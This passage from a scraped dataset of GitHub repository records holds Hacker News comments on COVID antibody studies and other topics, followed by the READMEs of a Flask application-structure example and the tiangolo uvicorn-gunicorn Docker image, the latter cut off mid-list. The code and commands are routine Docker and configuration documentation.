women that are seriously saying: \"there's too many penises in space we should send more vulvas\" it's hilarious.If it's confirmed its indeed more aerodynamic and we are seeing the beggining of a new era of space vulvas that will be censored in news reports due to it's shape than all hope is lost but still hilarious.<HN_SEP>is that an aero dynamic issue?<HN_SEP>If its an online service, Why not set up in another country? Who don't have such tight restrictions. You can try e-residency in Estonia.<HN_SEP>Could you elaborate more on what this \"project\" is about to better understand which payment channel can be used?<HN_SEP>Imperial has pretty close links with the popular press.   Their studies are far more likely to make front page BBC news than say similar studies from Cambridge.The BBC also frequently invites Imperial staff on as on-air experts for almost any other issue.<HN_SEP>Once again propaganda that makes covid seem mythological and maximum scary for maximum rights violation. We did all this to flatten the curve and covid is so bad now we gotta end society as we know it or covid will end society as we know it. Wake up while you still have time.<HN_SEP>Is there any better summary of reinfection cases than this one from Dutch website BNO https://bnonews.com/index.php/2020/08/covid-19-reinfection-t...?24 cases worldwide. Seems like human immune systems are very effective against this disease.<HN_SEP>I took part in this test. In April/May I had a slight cough, tight chest and got breathless when walking.\nI had a very faint line indicating short term antibodies, then the second test I had no signs.Now if I had covid is another question. Everyone has been pretty damning of the testing system. Phone up doctors or an NHS help line, it's pretty much 'You may have mild symptoms' well how about we just do some testing yeah?I have no faith in the government stats for covid, if they're not even sending people to get tests then how on earth do they know what's really going on?<HN_SEP>Note that this does not mean that immunity is also fading. Antibodies don't exist all the time in the bloodstream: immunological memory (in the case of antibodies, in the form of memory B cells) is what can prompt a quick response in case of reinfection.In fact, there isn't enough data to even know how long immunity is. And let's not get started with T cell immunity, which seems to play a role with this virus and is not touched by such a study.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Robpol86/Flask-Large-Application-Example", "link": "https://github.com/Robpol86/Flask-Large-Application-Example", "tags": [], "stars": 507, "description": "This is how I structure my large Flask applications.", "lang": "Python", "repo_lang": "", "readme": "# Flask-Large-Application-Example\n\nPyPI Portal is a small demo app used as an example of a potentially large Flask application with several views and\nCelery tasks. This is how I structure my large Flask applications. In this README I'll explain my design choices with\nseveral aspects of the project.\n\nFor information on how to deploy this application to different production environments, visit\n[the project's wiki](https://github.com/Robpol86/Flask-Large-Application-Example/wiki).\n\n[![Build Status](https://travis-ci.org/Robpol86/Flask-Large-Application-Example.svg?branch=master)]\n(https://travis-ci.org/Robpol86/Flask-Large-Application-Example)\n[![Coverage Status](https://img.shields.io/coveralls/Robpol86/Flask-Large-Application-Example.svg)]\n(https://coveralls.io/r/Robpol86/Flask-Large-Application-Example)\n\n## Features\n\nSome features I've included in this demo application are:\n\n* Tests are written for [pytest](http://pytest.org/).\n* Tasks/scripts/jobs are supported with [Celery](http://www.celeryproject.org/).\n* Any unhandled exceptions raised in views or Celery tasks are emailed to you from your production instance. The email\n  is styled to look similar to the exceptions shown in development environments, but without the interactive console.\n* Message flashing is \"powered by\" [Bootstrap Growl](https://github.com/mouse0270/bootstrap-growl) and I've also\n  included Bootstrap Modals and Wells as flashed message containers. More about that in `core/flash.py`.\n\n## Directory Structure\n\n```GAP\n\u251c\u2500 pypi_portal/         # All application code in this directory.\n\u2502  \u251c\u2500 core/             # Shared/misc code goes in here as packages or modules.\n\u2502  \u251c\u2500 models/\n\u2502  \u2502  \u251c\u2500 fruit.py       # Holds several tables about a subject.\n\u2502  \u2502  \u2514\u2500 vegetable.py\n\u2502  \u2502\n\u2502  \u251c\u2500 static/\n\u2502  \u2502  \u251c\u2500 favicon.ico\n\u2502  \u2502  \u2514\u2500 some_lib/\n\u2502  \u2502     \u251c\u2500 css/\n\u2502  \u2502     \u2502  \u2514\u2500 some_lib.css\n\u2502  \u2502     \u2514\u2500 js/\n\u2502  \u2502        \u2514\u2500 some_lib.js\n\u2502  \u2502\n\u2502  \u251c\u2500 tasks/          # Celery tasks (packages or modules).\n\u2502  \u251c\u2500 templates/      # Base templates used/included throughout the app.\n\u2502  \u2502  \u251c\u2500 404.html\n\u2502  \u2502  \u2514\u2500 base.html\n\u2502  \u2502\n\u2502  \u251c\u2500 views/\n\u2502  \u2502  \u251c\u2500 view1/\n\u2502  \u2502  \u2502  \u251c\u2500 templates/              # Templates only used by view1.\n\u2502  \u2502  \u2502  \u2502  \u2514\u2500 view1_section1.html  # Naming convention: package_module.html\n\u2502  \u2502  \u2502  \u251c\u2500 section1.py             # Each view module has its own blueprint.\n\u2502  \u2502  \u2502  \u2514\u2500 section2.py\n\u2502  \u2502  \u2502\n\u2502  \u2502  \u251c\u2500 view2/\n\u2502  \u2502  \u2514\u2500 view3/\n\u2502  \u2502\n\u2502  \u251c\u2500 application.py  # Flask create_app() factory.\n\u2502  \u251c\u2500 blueprints.py   # Define Flask blueprints and their URLs.\n\u2502  \u251c\u2500 config.py       # All configs for Flask, Celery, Prod, Dev, etc.\n\u2502  \u251c\u2500 extensions.py   # Instantiate SQLAlchemy, Celery, etc. Importable.\n\u2502  \u2514\u2500 middleware.py   # Error handlers, template filters, other misc code.\n\u2502\n\u251c\u2500 tests/                   # Tests are structured similar to the application.\n\u2502  \u251c\u2500 core/\n\u2502  \u2502  \u2514\u2500 test_something.py\n\u2502  \u251c\u2500 tasks/\n\u2502  \u2514\u2500 conftest.py\n\u2502\n\u2514\u2500 manage.py          # Main entry-point into the Flask/Celery application.\n```\n\n## Design Choices\n\n### Blueprints\n\nThe first thing you may notice are where blueprints are defined. Flask applications usually define their blueprints\ninside view modules themselves, and must be imported in or after `create_app()`. URLs for blueprints are usually set in\nor after `create_app()` as well.\n\nI've never liked defining blueprints in the views since according to pep8 the variables should be IN_ALL_CAPS (it's true\nthat blueprints are still module-level in `blueprints.py` but since that file is 99% module-level variables I make a\nsmall exception to pep8 and keep it lower case), plus usually it's the only module-level variable in the file.\n\nInstead I define blueprints in `blueprints.py` and import them in both views and `application.py`. While I'm at it, I\n\"centralize\" URL and module specifications in blueprints.py instead of having those two pieces of information in views\nand `application.py`.\n\n### Templates\n\nThis is another deviation from usual Flask applications. Instead of dumping all templates used by all views into one\ndirectory, I split it up into two classes: \"common\" and \"per-view\". This makes it way easier to determine which view a\ntemplate is used in with a quick glance. In very large applications this is much more manageable, since having tens or\neven hundreds of templates in one directory is ugly.\n\nFirst I have my common templates, located in the usual `templates` directory at the base of the application directory\nstructure. Templates not tied to a specific view go here.\n\nThen I have the per-view templates. Each view package will have its own `templates` directory. There is one problem\nthough: Flask flattens the template's directory structure into one directory. `templates/base.html` and\n`views/my_view/templates/base.html` will collide. To get around this, templates inside a per-view template directory are\nformatted as packageName_moduleName.html (where packageName is my_view). When modules have a lot of templates just\nappend to the filename (e.g. packageName_moduleName_feature.html).\n\n### Extensions\n\nThis isn't very unique but I'll cover it anyway. I've seen other projects follow this convention. The idea is to\ninstantiate extensions such as SQLAlchemy here, but without any arguments (and without calling `init_app()`).\n\nThese may be imported by views/tasks and are also imported by `application.py` which is where `init_app()` is called.\n\n### Config\n\nI elected to keep all configurations in this one file, instead of having different files for different environments\n(prod, stage, dev, etc). One important note is I also keep non-Flask configurations in the same file (e.g. Celery,\nSQLAlchemy, even hard-coded values). If you need to hard-code some data that's shared among different modules, I'd put\nit in config.py. If you need to hard-code data that's only used in one module (just one view for example), then I'd keep\nit in that module as a module-level variable.\n\nI structure my `config.py` with several classes, inheriting from the previous one to avoid duplicating data.\n\n### Tests\n\nThe tests directory structure mirrors the application's. This makes it easy to group tests for specific views/modules.\nIf a module such as `core/email.py` requires several tests, I would split them up into different test modules inside a\npackage such as `tests/core/email/test_feature1.py` and so on.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tiangolo/uvicorn-gunicorn-docker", "link": "https://github.com/tiangolo/uvicorn-gunicorn-docker", "tags": ["uvicorn", "gunicorn", "asgi", "web", "python", "python3", "async", "asyncio", "docker", "docker-image", "alpine", "uvicorn-gunicorn", "dockerfile", "debian"], "stars": 507, "description": "Docker image with Uvicorn managed by Gunicorn for high-performance web applications in Python with performance auto-tuning. Optionally with Alpine Linux.", "lang": "Python", "repo_lang": "", "readme": "[![Test](https://github.com/tiangolo/uvicorn-gunicorn-docker/workflows/Test/badge.svg)](https://github.com/tiangolo/uvicorn-gunicorn-docker/actions?query=workflow%3ATest) [![Deploy](https://github.com/tiangolo/uvicorn-gunicorn-docker/workflows/Deploy/badge.svg)](https://github.com/tiangolo/uvicorn-gunicorn-docker/actions?query=workflow%3ADeploy)\n\n## Supported tags and respective `Dockerfile` links\n\n* [`python3.11`, `latest` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.11.dockerfile)\n* [`python3.10`, _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.10.dockerfile)\n* [`python3.9`, _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.9.dockerfile)\n* [`python3.8`, _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.8.dockerfile)\n* [`python3.7`, _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.7.dockerfile)\n* [`python3.11-slim` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.11-slim.dockerfile)\n* [`python3.10-slim` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.10-slim.dockerfile)\n* [`python3.9-slim` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.9-slim.dockerfile)\n* [`python3.8-slim` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.8-slim.dockerfile)\n\n## Discouraged tags\n\n* [`python3.9-alpine3.14` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.9-alpine3.14.dockerfile)\n* [`python3.8-alpine3.10` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.8-alpine3.10.dockerfile)\n* [`python3.7-alpine3.8` _(Dockerfile)_](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/python3.7-alpine3.8.dockerfile)\n\nTo learn more about why Alpine images are discouraged for Python read the note at the end: [\ud83d\udea8 Alpine Python Warning](#-alpine-python-warning).\n\n## Deprecated tags\n\n\ud83d\udea8 These tags are no longer supported or maintained, they are removed from the GitHub repository, but the last version pushed is still available in Docker Hub.\n\n* `python3.6`\n* `python3.6-alpine3.8`\n\nThe last versions with date tags for Python 3.6 are:\n\n* `python3.6-2022-11-25`\n* `python3.6-alpine3.8-2022-11-25`\n\n---\n\n**Note**: There are [tags for each build date](https://hub.docker.com/r/tiangolo/uvicorn-gunicorn/tags). If you need to \"pin\" the Docker image version you use, you can select one of those tags. E.g. `tiangolo/uvicorn-gunicorn:python3.7-2019-10-15`.\n\n# uvicorn-gunicorn\n\n[**Docker**](https://www.docker.com/) image with [**Uvicorn**](https://www.uvicorn.org/) managed by [**Gunicorn**](https://gunicorn.org/) for high-performance web applications in **[Python](https://www.python.org/)** with performance auto-tuning. Optionally in a slim version or based on Alpine Linux.\n\n**GitHub repo**: [https://github.com/tiangolo/uvicorn-gunicorn-docker](https://github.com/tiangolo/uvicorn-gunicorn-docker)\n\n**Docker Hub image**: [https://hub.docker.com/r/tiangolo/uvicorn-gunicorn/](https://hub.docker.com/r/tiangolo/uvicorn-gunicorn/)\n\n## Description\n\nPython web applications running with **Uvicorn** (using the \"ASGI\" specification for Python asynchronous web applications) have shown to have [some of the best performances, as measured by third-party benchmarks](https://www.techempower.com/benchmarks/#section=test&runid=a979de55-980d-4721-a46f-77298b3f3923&hw=ph&test=fortune&l=zijzen-7).\n\nThe achievable performance is on par with (and in many cases superior to) **Go** and **Node.js** frameworks.\n\nThis image has an **auto-tuning** mechanism included to start a number of worker processes based on the available CPU cores. That way you can just add your code and get **high performance** automatically, which is useful in **simple deployments**.\n\n## \ud83d\udea8 WARNING: You Probably Don't Need this Docker Image\n\nYou are probably using **Kubernetes** or similar tools. In that case, you probably **don't need this image** (or any other **similar base image**). You are probably better off **building a Docker image from scratch** as explained in the docs for [FastAPI in Containers - Docker: Build a Docker Image for FastAPI](https://fastapi.tiangolo.com/deployment/docker/#replication-number-of-processes), that same process and ideas could be applied to other ASGI frameworks.\n\n---\n\nIf you have a cluster of machines with **Kubernetes**, Docker Swarm Mode, Nomad, or other similar complex system to manage distributed containers on multiple machines, then you will probably want to **handle replication** at the **cluster level** instead of using a **process manager** (like Gunicorn with Uvicorn workers) in each container, which is what this Docker image does.\n\nIn those cases (e.g. using Kubernetes) you would probably want to build a **Docker image from scratch**, installing your dependencies, and running **a single Uvicorn process** instead of this image.\n\nFor example, your `Dockerfile` could look like:\n\n```Dockerfile\nFROM python:3.9\n\nWORKDIR /code\n\nCOPY ./requirements.txt /code/requirements.txt\n\nRUN pip install --no-cache-dir --upgrade -r /code/requirements.txt\n\nCOPY ./app /code/app\n\nCMD [\"uvicorn\", \"app.main:app\", \"--host\", \"0.0.0.0\", \"--port\", \"80\"]\n```\n\nYou can read more about this in the [FastAPI documentation about: FastAPI in Containers - Docker](https://fastapi.tiangolo.com/deployment/docker/#replication-number-of-processes) as the same ideas would apply to other ASGI frameworks.\n\n## When to Use this Docker Image\n\n### A Simple App\n\nYou could want a process manager like Gunicorn running Uvicorn workers in the container if your application is **simple enough** that you don't need (at least not yet) to fine-tune the number of processes too much, and you can just use an automated default, and you are running it on a **single server**, not a cluster.\n\n### Docker Compose\n\nYou could be deploying to a **single server** (not a cluster) with **Docker Compose**, so you wouldn't have an easy way to manage replication of containers (with Docker Compose) while preserving the shared network and **load balancing**.\n\nThen you could want to have **a single container** with a Gunicorn **process manager** starting **several Uvicorn worker processes** inside, as this Docker image does.\n\n### Prometheus and Other Reasons\n\nYou could also have **other reasons** that would make it easier to have a **single container** with **multiple processes** instead of having **multiple containers** with **a single process** in each of them.\n\nFor example (depending on your setup) you could have some tool like a Prometheus exporter in the same container that should have access to **each of the requests** that come.\n\nIn this case, if you had **multiple containers**, by default, when Prometheus came to **read the metrics**, it would get the ones for **a single container each time** (for the container that handled that particular request), instead of getting the **accumulated metrics** for all the replicated containers.\n\nThen, in that case, it could be simpler to have **one container** with **multiple processes**, and a local tool (e.g. a Prometheus exporter) on the same container collecting Prometheus metrics for all the internal processes and exposing those metrics on that single container.\n\n---\n\nRead more about it all in the [FastAPI documentation about: FastAPI in Containers - Docker](https://fastapi.tiangolo.com/deployment/docker/), as the same ideas would apply to any other ASGI framework.\n\n## Technical Details\n\n### Uvicorn\n\n**Uvicorn** is a lightning-fast \"ASGI\" server.\n\nIt runs asynchronous Python web code in a single process.\n\n### Gunicorn\n\nYou can use **Gunicorn** to start and manage multiple Uvicorn worker processes.\n\nThat way, you get the best of concurrency and parallelism in simple deployments.\n\n### `tiangolo/uvicorn-gunicorn`\n\nThis image will set a sensible configuration based on the server it is running on (the amount of CPU cores available) without making sacrifices.\n\nIt has sensible defaults, but you can configure it with environment variables or override the configuration files.\n\nThere is also a slim version and another one based on Alpine Linux. If you want one of those, use one of the tags from above.\n\n### Frameworks\n\nThis image was created to be the base image for:\n\n* [**tiangolo/uvicorn-gunicorn-starlette**](https://github.com/tiangolo/uvicorn-gunicorn-starlette-docker)\n* [**tiangolo/uvicorn-gunicorn-fastapi**](https://github.com/tiangolo/uvicorn-gunicorn-fastapi-docker)\n\nBut could be used as the base image to run any Python web application that uses the ASGI specification.\n\nIf you are creating a new [**Starlette**](https://www.starlette.io/) web application you should use [**tiangolo/uvicorn-gunicorn-starlette**](https://github.com/tiangolo/uvicorn-gunicorn-starlette-docker) instead.\n\nIf you are creating a new [**FastAPI**](https://fastapi.tiangolo.com/) web application you should use [**tiangolo/uvicorn-gunicorn-fastapi**](https://github.com/tiangolo/uvicorn-gunicorn-fastapi-docker) instead.\n\n**Note**: FastAPI is based on Starlette and adds several features on top of it. Useful for APIs and other cases: data validation, data conversion, documentation with OpenAPI, dependency injection, security/authentication and others.\n\n**Note**: Unless you are doing something more technically advanced, you probably should be using [**Starlette**](https://www.starlette.io/) with [**tiangolo/uvicorn-gunicorn-starlette**](https://github.com/tiangolo/uvicorn-gunicorn-starlette-docker) or [**FastAPI**](https://fastapi.tiangolo.com/) with [**tiangolo/uvicorn-gunicorn-fastapi**](https://github.com/tiangolo/uvicorn-gunicorn-fastapi-docker).\n\n## How to use\n\nYou don't need to clone the GitHub repo.\n\nYou can use this image as a base image for other images.\n\nAssuming you have a file `requirements.txt`, you could have a `Dockerfile` like this:\n\n```Dockerfile\nFROM tiangolo/uvicorn-gunicorn:python3.11\n\nCOPY ./requirements.txt /app/requirements.txt\n\nRUN pip install --no-cache-dir --upgrade -r /app/requirements.txt\n\nCOPY ./app /app\n```\n\nIt will expect a file at `/app/app/main.py`.\n\nOr otherwise a file at `/app/main.py`.\n\nAnd will expect it to contain a variable `app` with your \"ASGI\" application.\n\nThen you can build your image from the directory that has your `Dockerfile`, e.g:\n\n```bash\ndocker build -t myimage ./\n```\n\n* Run a container based on your image:\n\n```bash\ndocker run -d --name mycontainer -p 80:80 myimage\n```\n\nYou should be able to check it in your Docker container's URL, for example: http://192.168.99.100/ or http://127.0.0.1/ (or equivalent, using your Docker host).\n\n## Dependencies and packages\n\nYou will probably also want to add any dependencies for your app and pin them to a specific version, probably including Uvicorn and Gunicorn.\n\nThis way you can make sure your app always works as expected.\n\nYou could install packages with `pip` commands in your `Dockerfile`, using a `requirements.txt`, or even using [Poetry](https://python-poetry.org/).\n\nAnd then you can upgrade those dependencies in a controlled way, running your tests, making sure that everything works, but without breaking your production application if some new version is not compatible.\n\n### Using Poetry\n\nHere's a small example of one of the ways you could install your dependencies making sure you have a pinned version for each package.\n\nLet's say you have a project managed with [Poetry](https://python-poetry.org/), so, you have your package dependencies in a file `pyproject.toml`. And possibly a file `poetry.lock`.\n\nThen you could have a `Dockerfile` using Docker multi-stage building with:\n\n```Dockerfile\nFROM python:3.9 as requirements-stage\n\nWORKDIR /tmp\n\nRUN pip install poetry\n\nCOPY ./pyproject.toml ./poetry.lock* /tmp/\n\nRUN poetry export -f requirements.txt --output requirements.txt --without-hashes\n\nFROM tiangolo/uvicorn-gunicorn:python3.11\n\nCOPY --from=requirements-stage /tmp/requirements.txt /app/requirements.txt\n\nRUN pip install --no-cache-dir --upgrade -r /app/requirements.txt\n\nCOPY ./app /app\n```\n\nThat will:\n\n* Install poetry and configure it for running inside of the Docker container.\n* Copy your application requirements.\n    * Because it uses `./poetry.lock*` (ending with a `*`), it won't crash if that file is not available yet.\n* Install the dependencies.\n* Then copy your app code.\n\nIt's important to copy the app code *after* installing the dependencies, that way you can take advantage of Docker's cache. That way it won't have to install everything from scratch every time you update your application files, only when you add new dependencies.\n\nThis also applies for any other way you use to install your dependencies. If you use a `requirements.txt`, copy it alone and install all the dependencies on the top of the `Dockerfile`, and add your app code after it.\n\n## Advanced usage\n\n### Environment variables\n\nThese are the environment variables that you can set in the container to configure it and their default values:\n\n#### `MODULE_NAME`\n\nThe Python \"module\" (file) to be imported by Gunicorn, this module would contain the actual application in a variable.\n\nBy default:\n\n* `app.main` if there's a file `/app/app/main.py` or\n* `main` if there's a file `/app/main.py`\n\nFor example, if your main file was at `/app/custom_app/custom_main.py`, you could set it like:\n\n```bash\ndocker run -d -p 80:80 -e MODULE_NAME=\"custom_app.custom_main\" myimage\n```\n\n#### `VARIABLE_NAME`\n\nThe variable inside of the Python module that contains the ASGI application.\n\nBy default:\n\n* `app`\n\nFor example, if your main Python file has something like:\n\n```Python\nfrom fastapi import FastAPI\n\napi = FastAPI()\n\n@api.get(\"/\")\ndef read_root():\n    return {\"message\": \"Hello world!\"}\n```\n\nIn this case `api` would be the variable with the \"ASGI application\". You could set it like:\n\n```bash\ndocker run -d -p 80:80 -e VARIABLE_NAME=\"api\" myimage\n```\n\n#### `APP_MODULE`\n\nThe string with the Python module and the variable name passed to Gunicorn.\n\nBy default, set based on the variables `MODULE_NAME` and `VARIABLE_NAME`:\n\n* `app.main:app` or\n* `main:app`\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:80 -e APP_MODULE=\"custom_app.custom_main:api\" myimage\n```\n\n#### `GUNICORN_CONF`\n\nThe path to a Gunicorn Python configuration file.\n\nBy default:\n\n* `/app/gunicorn_conf.py` if it exists\n* `/app/app/gunicorn_conf.py` if it exists\n* `/gunicorn_conf.py` (the included default)\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:80 -e GUNICORN_CONF=\"/app/custom_gunicorn_conf.py\" myimage\n```\n\nYou can use the [config file](https://github.com/tiangolo/uvicorn-gunicorn-docker/blob/master/docker-images/gunicorn_conf.py) from this image as a starting point for yours.\n\n#### `WORKERS_PER_CORE`\n\nThis image will check how many CPU cores are available in the current server running your container.\n\nIt will set the number of workers to the number of CPU cores multiplied by this value.\n\nBy default:\n\n* `1`\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:80 -e WORKERS_PER_CORE=\"3\" myimage\n```\n\nIf you used the value `3` in a server with 2 CPU cores, it would run 6 worker processes.\n\nYou can use floating point values too.\n\nSo, for example, if you have a big server (let's say, with 8 CPU cores) running several applications, and you have an ASGI application that you know won't need high performance. And you don't want to waste server resources. You could make it use `0.5` workers per CPU core. For example:\n\n```bash\ndocker run -d -p 80:80 -e WORKERS_PER_CORE=\"0.5\" myimage\n```\n\nIn a server with 8 CPU cores, this would make it start only 4 worker processes.\n\n**Note**: By default, if `WORKERS_PER_CORE` is `1` and the server has only 1 CPU core, instead of starting 1 single worker, it will start 2. This is to avoid bad performance and blocking applications (server application) on small machines (server machine/cloud/etc). This can be overridden using `WEB_CONCURRENCY`.\n\n#### `MAX_WORKERS`\n\nSet the maximum number of workers to use.\n\nYou can use it to let the image compute the number of workers automatically but making sure it's limited to a maximum.\n\nThis can be useful, for example, if each worker uses a database connection and your database has a maximum limit of open connections.\n\nBy default it's not set, meaning that it's unlimited.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:80 -e MAX_WORKERS=\"24\" myimage\n```\n\nThis would make the image start at most 24 workers, independent of how many CPU cores are available in the server.\n\n#### `WEB_CONCURRENCY`\n\nOverride the automatic definition of number of workers.\n\nBy default:\n\n* Set to the number of CPU cores in the current server multiplied by the environment variable `WORKERS_PER_CORE`. So, in a server with 2 cores, by default it will be set to `2`.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:80 -e WEB_CONCURRENCY=\"2\" myimage\n```\n\nThis would make the image start 2 worker processes, independent of how many CPU cores are available in the server.\n\n#### `HOST`\n\nThe \"host\" used by Gunicorn, the IP where Gunicorn will listen for requests.\n\nIt is the host inside of the container.\n\nSo, for example, if you set this variable to `127.0.0.1`, it will only be available inside the container, not in the host running it.\n\nIt's is provided for completeness, but you probably shouldn't change it.\n\nBy default:\n\n* `0.0.0.0`\n\n#### `PORT`\n\nThe port the container should listen on.\n\nIf you are running your container in a restrictive environment that forces you to use some specific port (like `8080`) you can set it with this variable.\n\nBy default:\n\n* `80`\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e PORT=\"8080\" myimage\n```\n\n#### `BIND`\n\nThe actual host and port passed to Gunicorn.\n\nBy default, set based on the variables `HOST` and `PORT`.\n\nSo, if you didn't change anything, it will be set by default to:\n\n* `0.0.0.0:80`\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e BIND=\"0.0.0.0:8080\" myimage\n```\n\n#### `LOG_LEVEL`\n\nThe log level for Gunicorn.\n\nOne of:\n\n* `debug`\n* `info`\n* `warning`\n* `error`\n* `critical`\n\nBy default, set to `info`.\n\nIf you need to squeeze more performance sacrificing logging, set it to `warning`, for example:\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e LOG_LEVEL=\"warning\" myimage\n```\n\n#### `WORKER_CLASS`\n\nThe class to be used by Gunicorn for the workers.\n\nBy default, set to `uvicorn.workers.UvicornWorker`.\n\nThe fact that it uses Uvicorn is what allows using ASGI applications like FastAPI and Starlette, and that is also what provides the maximum performance.\n\nYou probably shouldn't change it.\n\nBut if for some reason you need to use the alternative Uvicorn worker: `uvicorn.workers.UvicornH11Worker` you can set it with this environment variable.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e WORKER_CLASS=\"uvicorn.workers.UvicornH11Worker\" myimage\n```\n\n#### `TIMEOUT`\n\nWorkers silent for more than this many seconds are killed and restarted.\n\nRead more about it in the [Gunicorn docs: timeout](https://docs.gunicorn.org/en/stable/settings.html#timeout).\n\nBy default, set to `120`.\n\nNotice that Uvicorn and ASGI frameworks like FastAPI and Starlette are async, not sync. So it's probably safe to have higher timeouts than for sync workers.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e TIMEOUT=\"20\" myimage\n```\n\n#### `KEEP_ALIVE`\n\nThe number of seconds to wait for requests on a Keep-Alive connection.\n\nRead more about it in the [Gunicorn docs: keepalive](https://docs.gunicorn.org/en/stable/settings.html#keepalive).\n\nBy default, set to `2`.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e KEEP_ALIVE=\"20\" myimage\n```\n\n#### `GRACEFUL_TIMEOUT`\n\nTimeout for graceful workers restart.\n\nRead more about it in the [Gunicorn docs: graceful-timeout](https://docs.gunicorn.org/en/stable/settings.html#graceful-timeout).\n\nBy default, set to `120`.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e GRACEFUL_TIMEOUT=\"20\" myimage\n```\n\n#### `ACCESS_LOG`\n\nThe access log file to write to.\n\nBy default `\"-\"`, which means stdout (print in the Docker logs).\n\nIf you want to disable `ACCESS_LOG`, set it to an empty value.\n\nFor example, you could disable it with:\n\n```bash\ndocker run -d -p 80:8080 -e ACCESS_LOG= myimage\n```\n\n#### `ERROR_LOG`\n\nThe error log file to write to.\n\nBy default `\"-\"`, which means stderr (print in the Docker logs).\n\nIf you want to disable `ERROR_LOG`, set it to an empty value.\n\nFor example, you could disable it with:\n\n```bash\ndocker run -d -p 80:8080 -e ERROR_LOG= myimage\n```\n\n#### `GUNICORN_CMD_ARGS`\n\nAny additional command line settings for Gunicorn can be passed in the `GUNICORN_CMD_ARGS` environment variable.\n\nRead more about it in the [Gunicorn docs: Settings](https://docs.gunicorn.org/en/stable/settings.html#settings).\n\nThese settings will have precedence over the other environment variables and any Gunicorn config file.\n\nFor example, if you have a custom TLS/SSL certificate that you want to use, you could copy them to the Docker image or mount them in the container, and set [`--keyfile` and `--certfile`](http://docs.gunicorn.org/en/latest/settings.html#ssl) to the location of the files, for example:\n\n```bash\ndocker run -d -p 80:8080 -e GUNICORN_CMD_ARGS=\"--keyfile=/secrets/key.pem --certfile=/secrets/cert.pem\" -e PORT=443 myimage\n```\n\n**Note**: instead of handling TLS/SSL yourself and configuring it in the container, it's recommended to use a \"TLS Termination Proxy\" like [Traefik](https://docs.traefik.io/). You can read more about it in the [FastAPI documentation about HTTPS](https://fastapi.tiangolo.com/deployment/#https).\n\n#### `PRE_START_PATH`\n\nThe path where to find the pre-start script.\n\nBy default, set to `/app/prestart.sh`.\n\nYou can set it like:\n\n```bash\ndocker run -d -p 80:8080 -e PRE_START_PATH=\"/custom/script.sh\" myimage\n```\n\n### Custom Gunicorn configuration file\n\nThe image includes a default Gunicorn Python config file at `/gunicorn_conf.py`.\n\nIt uses the environment variables declared above to set all the configurations.\n\nYou can override it by including a file in:\n\n* `/app/gunicorn_conf.py`\n* `/app/app/gunicorn_conf.py`\n* `/gunicorn_conf.py`\n\n### Custom `/app/prestart.sh`\n\nIf you need to run anything before starting the app, you can add a file `prestart.sh` to the directory `/app`. The image will automatically detect and run it before starting everything.\n\nFor example, if you want to add Alembic SQL migrations (with SQLALchemy), you could create a `./app/prestart.sh` file in your code directory (that will be copied by your `Dockerfile`) with:\n\n```bash\n#! /usr/bin/env bash\n\n# Let the DB start\nsleep 10;\n# Run migrations\nalembic upgrade head\n```\n\nand it would wait 10 seconds to give the database some time to start and then run that `alembic` command.\n\nIf you need to run a Python script before starting the app, you could make the `/app/prestart.sh` file run your Python script, with something like:\n\n```bash\n#! /usr/bin/env bash\n\n# Run custom Python script before starting\npython /app/my_custom_prestart_script.py\n```\n\nYou can customize the location of the prestart script with the environment variable `PRE_START_PATH` described above.\n\n### Development live reload\n\nThe default program that is run is at `/start.sh`. It does everything described above.\n\nThere's also a version for development with live auto-reload at:\n\n```bash\n/start-reload.sh\n```\n\n#### Details\n\nFor development, it's useful to be able to mount the contents of the application code inside of the container as a Docker \"host volume\", to be able to change the code and test it live, without having to build the image every time.\n\nIn that case, it's also useful to run the server with live auto-reload, so that it re-starts automatically at every code change.\n\nThe additional script `/start-reload.sh` runs Uvicorn alone (without Gunicorn) and in a single process.\n\nIt is ideal for development.\n\n#### Usage\n\nFor example, instead of running:\n\n```bash\ndocker run -d -p 80:80 myimage\n```\n\nYou could run:\n\n```bash\ndocker run -d -p 80:80 -v $(pwd):/app myimage /start-reload.sh\n```\n\n* `-v $(pwd):/app`: means that the directory `$(pwd)` should be mounted as a volume inside of the container at `/app`.\n    * `$(pwd)`: runs `pwd` (\"print working directory\") and puts it as part of the string.\n* `/start-reload.sh`: adding something (like `/start-reload.sh`) at the end of the command, replaces the default \"command\" with this one. In this case, it replaces the default (`/start.sh`) with the development alternative `/start-reload.sh`.\n\n#### Development live reload - Technical Details\n\nAs `/start-reload.sh` doesn't run with Gunicorn, any of the configurations you put in a `gunicorn_conf.py` file won't apply.\n\nBut these environment variables will work the same as described above:\n\n* `MODULE_NAME`\n* `VARIABLE_NAME`\n* 